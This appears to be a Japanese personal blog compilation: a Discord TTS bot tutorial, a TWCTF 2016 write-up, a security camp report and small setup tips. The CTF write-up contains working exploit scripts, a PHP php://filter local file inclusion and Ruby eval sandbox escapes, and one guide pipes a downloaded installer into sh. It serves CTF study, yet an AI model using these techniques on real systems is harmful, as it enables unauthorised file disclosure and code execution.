DiscordのStage Channelに読み上げbotを導入する

この記事は Akatsuki Games Advent Calendar 2023 11日目の記事です。

昨日は tomotaka-yamasakiさんの「AWS Device Farm の adb プロセスを Airtest に認識してもらうための方法」でした。adbのパス決定ロジックに関する問題意識と調査、解決までが分かりやすくまとめられていて、とても参考になる記事でした!

きっかけ

皆さん、Discordはお使いですか?元々はゲーマー向けのボイスチャットアプリでしたが、コロナ禍を契機に一気に非ゲーマー層にも普及した感覚があります。 「電話をかける」のではなく、「部屋に入る」ような感覚でVCができて使いやすいです。個人的にも大好きなサービスで、毎日利用しています。 そんな便利なDiscordですが、最近Stage Channelという機能が追加されました。

Stage Channelに関しての詳細な解説は公式のFAQを見ていただければと思いますが、要するに登壇スペースを仮想的に再現する特殊なボイスチャンネルです。 通常のボイスチャンネルでは入退室音が鳴りますが、Stage Channelでは入退室音は再生されませんし、発話する際も、発話者になる権限を持っているか、あるいは「発話したい」ボタンを押下し、モデレーターから発話許可を貰う必要があります。 この特殊チャンネルはなかなか便利で、私の所属するコミュニティではこのチャンネルを使ってLT会のようなイベントを開催したりしています。

ですが、このStage Channelでイベントを行う際、一つ課題が発生しました。 Stage Channelを利用する目的として「他の人の入退室音や発話によって、発表者の邪魔をしたくない」というモチベーションが一つあると思いますが、とはいえ一人きりで喋るのは寂しいものです。なので参加しているリスナーもコメントなどで反応をするわけですが、シングルディスプレイの発表者は(画面共有をしている前提です)そのコメントを拾えない/拾いづらいのです。

これを解消するべく、Stage Channelに読み上げbotを招待し、状況に応じてコメントを読み上げることで、臨場感のある発表をDiscord上でできるようにしたい、というのが今回の記事執筆のきっかけとなります。 既存のbotで対応しているものがないか軽く調べたのですが、見つからず(多分あるとは思うのですが自分の検索能力では発見できませんでした)、またWeb上でもあまりステージチャンネル上での読み上げといった記事は確認できず。同じような課題感を持つ人の一助になれば幸いです。

用意するもの

というわけで、今回はVOICEVOXというOSSの読み上げエンジンと、同じくOSSのdiscord.jsというdiscordのAPIライブラリを利用して、自前のbotを構築していこうと思います。

実装

一言で言ってしまうと、「botの入退室時にステージチャンネルであるかを確認し、ステージチャンネルであれば自動で発話者にする」という処理を行えば良いです。 コード的には以下でおおよそ方が付きます。

  const guild = interaction.guild;
  const member = await guild?.members.fetch(interaction.user.id);
  const memberVC = member?.voice.channel;

  // 接続処理など

  if (memberVC?.type === ChannelType.GuildStageVoice) {
    guild?.members.me?.voice.setSuppressed(false);
  }

とはいえそれだけではあまりにもなので、もう少しこの記事は続きます。

VOICEVOXを用意する

嬉しいことにVOICEVOXにはDockerイメージが用意されており、手元で簡単に音声合成環境を用意することができます。ありがたいですね。 Docker及びdocker-composeを利用して、まずはVOICEVOXのコンテナを用意します。

今回はCPU版を利用しますが、より高速/低負荷に音声合成を行いたい場合、GPU版の選択肢もあります。

ついでに、下記で用意する自前のアプリケーションコンテナ用に、アプリケーションサービスの記述もしておきます。

version: '3.8'
services:
  app:
    build: .
    environment:
      - DISCORD_TOKEN=your_token

  voicevox_engine:
    image: voicevox/voicevox_engine:cpu-ubuntu20.04-latest

botを召喚するためのslash commandを用意

公式ドキュメントを参考に、接続部分及びハンドリング部分を記述します

import { ChannelType, Interaction } from 'discord.js';
import { SlashCommandBuilder } from '@discordjs/builders';
import { joinVoiceChannel } from '@discordjs/voice';

module.exports = {
  data: new SlashCommandBuilder()
    .setName('join')
    .setDescription('Join a voice channel'),
  async execute(interaction: Interaction) {
    const guild = interaction.guild;
    const member = await guild?.members.fetch(interaction.user.id);
    const memberVC = member?.voice.channel;

    // コマンド実行者がVCに接続していない場合は何もしない
    if (!memberVC) return;

    // VCに接続
    joinVoiceChannel({
      channelId: memberVC.id,
      guildId: memberVC.guild.id,
      adapterCreator: memberVC.guild.voiceAdapterCreator,
    });

    // Stage Channelの場合はスピーカーをオンにする
    if (memberVC?.type === ChannelType.GuildStageVoice) {
      guild?.members.me?.voice.setSuppressed(false);
    }
  },
};

音声合成の準備

VOICEVOXのAPIドキュメントを参考に、音声合成を行う関数を定義します

async function generateVoice(text: string): Promise<ArrayBuffer> {
  // 音声合成用クエリを発行
  const query = await axios.post('http://voicevox_engine:50021/audio_query', {
    params: {
      text: text,
    },
  });

  // 音声合成し、結果をArrayBufferで返却
  const voice = await axios.post(
    'http://voicevox_engine:50021/synthesis',
    query.data,
    {
      responseType: 'arraybuffer',
    }
  );

  return voice.data;
}

// ArrayBufferからストリームを作成する
function bufferToStream(buffer: ArrayBuffer) {
  const stream = new Readable();
  stream.push(buffer);
  stream.push(null);
  return stream;
}

受信したメッセージを読み上げる

上記で定義した関数を利用し、Discord上のメッセージ読み上げを実行します。 なお、下記コードはあくまでエッセンスなので、実運用では必要なハンドリングを追加してください。

client.on(Events.MessageCreate, async (message) => {
  const connection = getVoiceConnection(message.guildId);
  if (!connection) return;

  const player = createAudioPlayer();
  const buf = await generateVoice(message.content);
  const stream = bufferToStream(buf);
  const resource = createAudioResource(stream, {
    inputType: StreamType.Arbitrary,
  });

  player.play(resource);
  connection.subscribe(player);
});

アプリコンテナのDockerfile

用意します。マルチステージビルドを利用すると、イメージのサイズをコンパクトにできますし、distrolessイメージを利用することでコンテナをセキュアにすることができます。

# Build
FROM node:20-slim as build
WORKDIR /app

COPY . .
RUN npm i
RUN npm run build


# Run
FROM gcr.io/distroless/nodejs20-debian12
WORKDIR /app

COPY --from=build /app/dist/index.js index.js

CMD [ "index.js" ]

実行

$ docker compose up -d でアプリケーションが立ち上がります。

終わりに

自分のスケジューリングがガバガバなため公開日はだいぶ駆け足の記事が公開されている羽目になっていると思いますが、上記コードを利用することで無事にステージチャンネルで読み上げをすることができました。

今回のコードはあくまで簡易的なbotですので、例えば読み上げ音声の再生が終わっていないときに追加のメッセージを受信しても無視されてしまったりなど、人によっては困る挙動があるかと思います。 Queueingするか、上書きして再生するか(ちなみにこの挙動の実装は昔やったことがあるのですが、少々手こずった記憶があります)などの選択肢があると思いますが、利用環境に合わせて拡張できるのが自前でbotを実装するメリットですね。

とはいえ、OSSを利用することでサクッと読み上げbotの機構を作成できるのは本当に便利です。

明日の記事は蘇俐文さんの「Doxygenでコードを分析して、CIで自動コメントしてみた」です。お楽しみに!

TWCTF 2016 Write-up

TWCTF 2016にチームringolliaで参加しました。チームとしては99位で、私は5個のフラグをsubmitしました。以下、write upです。

Global Page(Web 50)

?page=に値を与えると"."と"/"がremoveされてファイルパスとして評価され結果を返してくるサービスを与えられました。 /?page=tokyoのパスにブラウザでアクセスしてみると、以下の様なphp warningが表示されていました

Warning: include(tokyo/en-US.php): failed to open stream: No such file or directory in /var/www/globalpage/index.php on line 41

Warning: include(): Failed opening 'tokyo/en-US.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/globalpage/index.php on line 41

どうやらAccept-Languageで指定された値をファイル名、pageの値をディレクトリ名として使っているようです。後は自明にphp://filter/でresourceを指定すれば良くて

require "http"

r = HTTP
  .headers("Accept-Language" => "/filter/convert.base64-encode/resource=index")
  .get("http://globalpage.chal.ctf.westerns.tokyo/?page=php:")

puts r.to_s

でindex.phpが降ってきます。index.phpを見ると先頭でflag.phpをincludeしていたので、後は先の方法でflag.phpを持ってくるだけ。 TWCTF{I_found_simple_LFI}

Private / Local / Comment

seccompでシステムコールを制限された状態でevalを実行してくれるプログラムが動いているので、そこからflagを入手する問題群。

Private(PPC 50)

require_relative 'restrict'
Restrict.set_timeout

class Private
  private
  public_methods.each do |method|
    eval "def #{method.to_s};end"
  end

  def flag
    return "TWCTF{CENSORED}"
  end
end

p = Private.new
Private = nil

input = STDIN.gets
fail unless input
input.size > 24 && input = input[0, 24]

Restrict.seccomp

STDOUT.puts eval(input)

組み込みのメソッド含めたすべてのメソッドがprivateに隠蔽されたPrivateインスタンスからflag()を実行させなければいけない.(input <= 24)
特異メソッドを使えば可能。exploitは以下。

require "socket"

payload = 'def p.a;flag;end;p.a'
puts "payload length is #{payload.length}"

TCPSocket.open "ppc1.chal.ctf.westerns.tokyo", 1111 do |s|
  s.puts payload
  print s.read
end

TWCTF{PrivatePreview}

Local(PPC 70)

require_relative 'restrict'
Restrict.set_timeout

def get_flag(x)
  flag = "TWCTF{CENSORED}"
  x
end

input = STDIN.gets
fail unless input
input.size > 60 && input = input[0, 60]

Restrict.seccomp

STDOUT.puts get_flag(eval(input))

メソッド内に束縛されたローカル変数を読まなければならない。(input <= 60)
set_trace_funcを使用するとrubyインタプリタの実行をトレースできる、これを使ってget_flagのbindingを取得し, そのコンテキスト内でevalすれば終了。

require "socket"

payload = 'set_trace_func proc{|*a|a[4].eval("(p flag) rescue nil")}'
puts "payload length is #{payload.length}"

TCPSocket.open "ppc1.chal.ctf.westerns.tokyo", 1112 do |s|
  s.puts payload
  print s.read
end
# =>
#   nil
#   nil
#   "TWCTF{EnjoyC0untryLife}"
#   "TWCTF{EnjoyC0untryLife}"
#   #<Proc:0x00000000873408@(eval):1>

TWCTF{EnjoyC0untryLife}

glance(misc 50)

アニメgifが与えられた。1フレーム毎に抽出して横につなげて終わり。

$ convert glance.gif +adjoin flame.png
$ convert +append * out.png


TWCTF{Bliss by Charles O'Rear}

ninth(misc 100)

画像ファイルが与えられた。よく分からなかったがbinwalkで埋め込まれてるファイルをextractしてstringsで見たら終わった。想定解法はなんだろう。

$ binwalk ninth.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 1200 x 848, 8-bit/color RGBA, non-interlaced
99            0x63            Zlib compressed data, default compression

$ binwalk -e ninth.png

$ cd _ninth.png.extracted/

$ ls
63      63.zlib

$ strings 63
TWCTF{WAMP_Are_You_Ready?}

TWCTF{WAMP_Are_You_Ready?}

セキュリティ・キャンプ全国大会2016 参加記

8月の9日から13日まで、セキュキャンに参加してきました。国のお金で4泊5日、面白い講義を聞いたりオタクと遊んだりできる素晴らしいイベントでした。

応募

応募用紙を書きました。締め切り駆動タイプの人はしんどい思いをすると思うので余裕を持って取り組んだほうがいいです。応募用紙の原文公開は今のところ考えていません。許してください。

事前学習

事前学習をしました。ここでも相変わらず締め切り駆動をキメてしまったのですが、分からないことがあったりした場合に締め切りギリギリに講師ないしチューターの方に聞くのは非常につらいので、早めに始めることをおすすめします。

day1

名刺交換バトル

会場に着くと1時間ほど交流会と称し名刺交換バトルが始まります。名刺は100枚じゃ足りませんでした。あと、短時間で似たような顔のオタクが何十人も本名で自己紹介してきてもそんなにすぐ覚えられません。名刺にツイッターのアイコンを入れておいたりアイコンを印刷したりしておいたほうがいいでと思います。

共通・特別講義

開会式や偉い人のお話があった後にインターポールの人と警察の人がやってきて仕事のことなどについて語ってくれた。興味深い話だったのですがそうは言っても話を聞いているだけなので寝てしまう人はちらほら出てきます。少しでも船を漕ぐとチューターの方が速攻でやってきて起こしてくれるのでちゃんと聞きましょう。

コンビニツアー

セキュキャンは原則外出禁止で、毎日講義や諸々のイベントが終了したあとの夜の時間にロビーに集められ、スタッフの監督下でコンビニツアーが開催されます。高校生や大学生がコンビニに数十人で列をなして向かうのはなかなか壮観です。

部屋は一人一部屋与えられました。学生が泊まるには普通に豪華な宿だったと思います。この日はhideo54の部屋に行ってNEW GAME!を二人で見ていました。

day2

1-D【Dissecting Malware - x86 Windows malware analysis -】

事前課題はIDAを使ってidbファイルにコメントとか付けてみてねというものでした。IDAの使い方を最低限知っておいてねという趣旨のものだと思います。IDAは今までほぼ使ったことがなかったのでこの事前課題は講義にあたって普通に有用でした。

講義では実際のマルウェアを解析したidbファイルが配られて、それを解析しようというものでした。実際のマルウェアの動き方や解析妨害の手法などを順を追って演習しました。実際の仕事ではそのマルウェアの実装より、そのマルウェアが"何ができるのか"がよりクライアントからの需要が高いという話はなるほどとなりました。

2-C【人工知能とセキュリティ】

事前課題は特にありませんでした。 3人の講師の方の講義がこの枠の中で行われました。1人目の方の講義では人工知能の動作原理、数学モデルなどの説明がありました。 2人目の方の講義では実際にtensorflowを使って人工知能、というより深層学習を実際に試してみようというものでした。話は非常に面白かったのですが、スクリプトはほとんど用意されていてあとはコマンドを叩くだけという状態だったので、少し物足りなさは感じました。時間との兼ね合い等もあるのでしょうが、もう少し手を動かして演習できればよかったと思います。 最後の方の講義では実際に機械学習等を使ってどのようなセキュリティ施策が行われているかなどのお話と、今までの講義を踏まえ実際セキュリティ分野にどのように応用可能か、どこが問題点となるかなどを席の島毎に話し合いました。 受講後の感想としては、人工知能という言葉をやたらめったら使うのもいかがなものかな、というのは感じました。

CTF

趣旨としては各班1つraspberry piが与えられ、そこに侵入してそれぞれwebやpwnを解くというものでした。が、開始40分くらいまともに回線が使えなかったりいざ開始してもレベル感が高すぎた(ように見受けられる)などしんどかった。 最初から22,80が開いていたので、あまりnmapをするという発想に至らなかった。終始経験不足を感じていた。

翌日が誕生日(8/11)だったので起きて誕生日を迎えたいな~と思い、起きていることにした。という旨をツイッターで呟いたところ、キャンプに参加しているオタクがお菓子やらを持って部屋に来て祝ってくれた。ありがとうございました!

day 3

3-A【Webアプリケーションの脆弱性の評価と発見】

夜更かしをしたためか8:30に目覚め、講義には遅刻してしまいました。申し訳ない…

サイボウズの実際のサービスとして使われているアプリケーションを載せたVMが事前に配布されていて、前半はそれを用いて脆弱性の検証をし、また、実際にバグハントするにあたりどういったところに気を配るのか、といった講義がありました。 後半は実際に報告された脆弱性CVSS v3を用いて評価しました。組織内で評価の基準を明確に定めておくことが重要だと分かりました。 脆弱性評価に関して非常に実践的な体験をすることができました。

4-C【オンラインゲームアタック&ディフェンスチャレンジ】

Capture the Frog!というnode+websocketで実装されたゲームが事前に配布されており、本番では運営とプレイヤーに分かれA&D方式で競技を行いました。 プレイヤー側は脆弱性を突いたり自動化するなどでアカウントを育て、アカウントを売るとポイントが入り、運営側は30秒毎にチェックが走り、その時にサービスが正常稼働していればポイントが入る、競技終了後にポイントの高かったほうが勝利というゲームでした。 1回戦は運営、2回戦はプレイヤー側でプレイしたのですが、サービスが起動していなくてもペナルティが発生しない、また、サービスは起動していてもレベルアップの処理自体を無効化された際にチェックをすり抜ける等、30秒毎のチェックがガバガバでゲームバランスが崩壊していて残念でした。 A&D自体はゲームバランスが正常ならとても楽しいと思うので、次回やる時はもう少し練って欲しいと思います。

5-A【サーバ運用におけるパスワード管理】

セキュリティ診断をした際にどういった場所からパスワードが出てくるか、どういったところが危ないかなどを聞いた後に、2,3のケーススタディをした。 安全なセキュリティなんて突き詰めたら終わらないのではと思いましたし、最後の一番の脆弱性は人間なんだなぁと感じました。

day4

6・7-F【なぜマルウェア解析は自動化できないのか】

ntddkさんの講義でした。twitterでの印象から過激な人格を想像していたのですが、実際は優しくてかっこいいお兄さんという感じで、講義もとても面白かったです。 事前課題はunicornを用いてアセンブラコードを実行せよというものでした。 講義前半では与えられたマルウェア風のプログラムを改造し、オンラインサンドボックスに検知されないようにしてみようというものでした。サンドボックスは使いまわされているわけではなく毎回生成されているので、uptimeによって処理を変えるようにしてみたところ無事検知を回避できました。なので、やったこと自体は単純なのですが、むしろこんな程度の分岐を加えた程度で判定を迂回できることが驚きでしたし、マルウェア解析自動化の難しさの一端を感じました。 講義の後半はDECAFで叩かれる関数をhookし、引数等を覗いてみよう、angrを使って解析してみようというものでした。angrはだいぶ不安定でした。が、DECAFもangrも面白かったのでこれから使っていきたいと思いました。

day5

グループワーク発表

前日の4時くらいまでhideo氏の部屋に集まってスライドを作っていた。2時くらいからみんなテンションがおかしくなってたよ。 僕達は倫理というテーマで発表をしました。

閉会式

賞状をもらったり記念撮影をしたりしました。おみやげも貰いました。

寿司

監禁明け記念で193sと駅近くの寿司を食べてました。キャンプとかctfとか将来の話をしました。

感想

小学生並の感想だが、とにかく楽しかった。いつになるかはわからないけど、今度はチューターとして応募してみたい。

OSXでPowとnginxを併用した開発環境を作る

あけましておめでとうございます。今年もよろしくお願いします。

Pow、いいですよね。Rackアプリを開発する際には往々にして役立つと思います。Powderと組み合わせるともっといい感じです。

さて、そのPowですが、80を専有してしまう(Powが実際に動いているポートは20559なのですが、インストール時に80->20559に勝手にPort Forwardingしてしまう)ので、Rackアプリ以外の開発の際には邪魔だったりします。ので、それを解消してnginxと併用していい感じにしよう!という試みです。

Powインストール

まずはPowをインストールします。brewにもパッケージはあるのですが、いろいろな設定を自動でやってくれなかったりしてbrew版powは使い勝手がよろしくないので、インストールスクリプトをそのまま実行したほうがいいと思います。

$ curl get.pow.cx | sh

インストールが終わったら、80->20559へのforwardingを消すために以下のコマンドを実行します。

$ sudo pfctl -a "com.apple/250.PowFirewall" -F all 2>/dev/null || true
$ sudo launchctl unload /Library/LaunchDaemons/cx.pow.firewall.plist 2>/dev/null || true
$ sudo rm -f /Library/LaunchDaemons/cx.pow.firewall.plist

nginxインストール

nginxはbrewでインストールします。

$ brew install nginx

設定ファイルをいじります。

あとはport80をlistenするのでroot権限でnginx起動コマンドを叩いて終わりです。

$ sudo nginx

めんどくさいので端折ったところが多々あります、なにかあったらコメント欄か@にメンション飛ばして聞いてください。

PC(Windows)版LINEでCtrl+Enterでの送信を有効にする

タイトルの通りです。絶対需要があると思うのですが、LINEはいつになったら対応してくれるのでしょうか。
しかたがないのでAutoHotKeyを使ってリマップします。AutoHotKeyについてはこことか見ると良いんじゃないかなと思います。

まず、設定を開き送信方法をAlt+Enterにします。

次にAHKの設定ファイルに

#IfWinActive ahk_class Qt5QWindowIcon
^enter::!enter
#IfWinActive

を記述します。一応説明すると、

#IfWinActive ahk_class Qt5QWindowIcon ←もしLINEのウィンドウがアクティブな時
^enter::!enter ←ctrl+enterのキー押下時にalt+enterを送信する
#IfWinActive ←LINEウィンドウアクティブ時という条件設定を解除

という感じです。

後はAHKの設定ファイルを起動して終わりです。スタートアップ時に起動するようにでもしとけばいいと思います

wordpressをやめた

今までnkpoid.pw,さくらvps上でwordpressを動かしてブログ(?)を運営していたのですがはてなブログにしました。

理由としては、

  • クソみたいなブログのためにwordpressを動かす必要性を感じなかった
  • クソみたいなブログにリソース持っていかれるより有効活用したかった
  • デフォルトでmarkdownを使いたかった

というのがありまして、まぁ上2つは以前のブログ(nkpoid.pw)を見たことがある方なら納得できると思います。

というわけでブログを移行しました。よろしくお願いします。